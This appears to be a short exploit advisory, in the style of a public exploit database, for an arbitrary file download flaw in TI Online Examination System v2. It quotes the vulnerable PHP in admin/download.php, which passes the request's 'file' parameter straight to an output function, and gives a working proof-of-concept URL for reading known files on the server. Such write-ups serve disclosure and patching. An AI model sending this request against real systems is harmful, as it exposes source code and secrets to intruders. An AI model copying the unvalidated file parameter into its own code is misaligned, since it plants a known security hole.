TI Online Examination System v2 - Arbitrary File Download

# Exploit Title: TI Online Examination System v2 - Arbitrary File Download
# Dork: N/A
# Date: 02.08.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/ti-online-examination-system-v2/11248904
# Version: 2.0
# Category: Webapps
# Tested on: Kali linux
# Description : The "Export" operation in the admin panel is vulnerable.
The attacker can download and read all files known by the name via
"download.php"

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# Demo : server/admin/
# Vuln file : /admin/download.php

115. $data_action    = $_REQUEST['action'];
116. if($data_action == 'downloadfile')
117. {
118.    $file   = $_REQUEST['file'];
119.    $name    = $file;
120.    $result = output_file($file, $name);

# PoC :
http://server/admin/download.php?action=downloadfile&file=[filename]
you can write the known file name instead of [filename]. For Example:
'download.php' or 'index.php'

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